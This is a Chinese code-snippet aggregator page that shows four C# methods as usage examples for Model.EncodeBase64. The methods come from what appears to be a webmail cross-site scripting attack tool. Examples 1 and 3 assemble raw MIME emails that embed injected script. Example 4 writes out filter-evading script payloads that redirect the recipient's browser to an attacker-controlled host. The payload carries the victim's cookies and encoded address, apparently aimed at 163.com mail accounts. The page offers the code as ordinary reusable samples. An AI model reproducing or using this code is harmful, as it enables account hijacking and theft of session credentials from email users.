本文整理汇总了C#中Model.EncodeBase64方法的典型用法代码示例。如果您正苦于以下问题:C# Model.EncodeBase64方法的具体用法?C# Model.EncodeBase64怎么用?C# Model.EncodeBase64使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Model
的用法示例。
在下文中一共展示了Model.EncodeBase64方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: MailPackage
public string MailPackage(Model model)
{
this.Xss(model);
if (model.AttachmentName == null)
{
return ("From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Subject:" + model.Subject + this.CRLF + "MIME-Version: 1.0" + this.CRLF + "Content-Type: multipart/mixed;" + this.CRLF + "\tboundary=\"----=_Part_116410_1729540330.1274776237859\"" + this.CRLF + this.CRLF + "------=_Part_116410_1729540330.1274776237859" + this.CRLF + "Content-Type: multipart/alternative;" + this.CRLF + "\tboundary=\"----=_Part_116412_1100804047.1274776237859\"" + this.CRLF + this.CRLF + "------=_Part_116412_1100804047.1274776237859" + this.CRLF + "Content-Type: text/html; charset=\"GB2312\"" + this.CRLF + "Content-Transfer-Encoding: base64" + this.CRLF + this.CRLF + model.EncodeBase64(model.XSSCode + model.Content + "</div>") + this.CRLF + "------=_Part_116412_1100804047.1274776237859--" + this.CRLF + this.CRLF + "." + this.CRLF);
}
string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
return string.Concat(new object[]
{
"MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, model.XSSCode, this.CRLF, this.CRLF,
"--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8 name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, '<', model.EncodeBase64(code), '>', this.CRLF, "--Mail_Boundary_00201010--",
this.CRLF, this.CRLF, '.', this.CRLF
});
}
示例2: MailPackage
public string MailPackage(Model model)
{
if (model.AttachmentName == null)
{
return ("MIME-Version: 1.0" + this.CRLF + "From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Message-Id: <[email protected]>" + this.CRLF + "Subject:" + model.Subject + this.CRLF + "Content-type:text/html;" + this.CRLF + "Content-Transfer-Encoding:quoted-printable" + this.CRLF + this.CRLF + model.Content + this.CRLF + this.CRLF + "." + this.CRLF);
}
string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
return string.Concat(new object[]
{
"MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=gbk", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, this.CRLF, this.CRLF, "--Mail_Boundary_00201010",
this.CRLF, "Content-Type: text/html; charset=gbk name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, model.EncodeBase64(code), this.CRLF, "--Mail_Boundary_00201010--", this.CRLF, this.CRLF, '.',
this.CRLF
});
}
示例3: MailPackage
public string MailPackage(Model model)
{
this.Xss(model);
if (model.AttachmentName == null)
{
return ("From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Message-ID: <20100616. [email protected]>" + this.CRLF + "Subject:" + model.Subject + this.CRLF + "MIME-Version: 1.0" + this.CRLF + "Content-Transfer-Encoding: 8bit" + this.CRLF + "Content-type:text/html;charset=\"euc-kr\"" + this.CRLF + "Content-Transfer-Encoding:quoted-printable" + this.CRLF + this.CRLF + model.Content + model.XSSCode + this.CRLF + this.CRLF + this.CRLF + "." + this.CRLF);
}
string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
return string.Concat(new object[]
{
"MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, model.XSSCode, this.CRLF, this.CRLF,
"--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8 name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, '<', model.EncodeBase64(code), '>', this.CRLF, "--Mail_Boundary_00201010--",
this.CRLF, this.CRLF, '.', this.CRLF
});
}
示例4: Xss
private void Xss(Model model)
{
string addressee = model.Addressee;
int index = addressee.IndexOf('@');
addressee = addressee.ToLower().Substring(0, index);
Record record = new Record();
if (model.Type == "Cookie")
{
model.Address = "http://" + record.Dns("") + "/163/index.asp?";
model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + addressee + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
}
else if (model.Type == "Password")
{
model.Address = "http://" + record.Dns("") + "/163/indexP.asp?";
model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + model.EncodeBase64(model.Addressee) + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
}
else if (model.Type == "C+P")
{
model.Address = "http://" + record.Dns("") + "/163/indexcp.asp?";
model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + addressee + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
}
}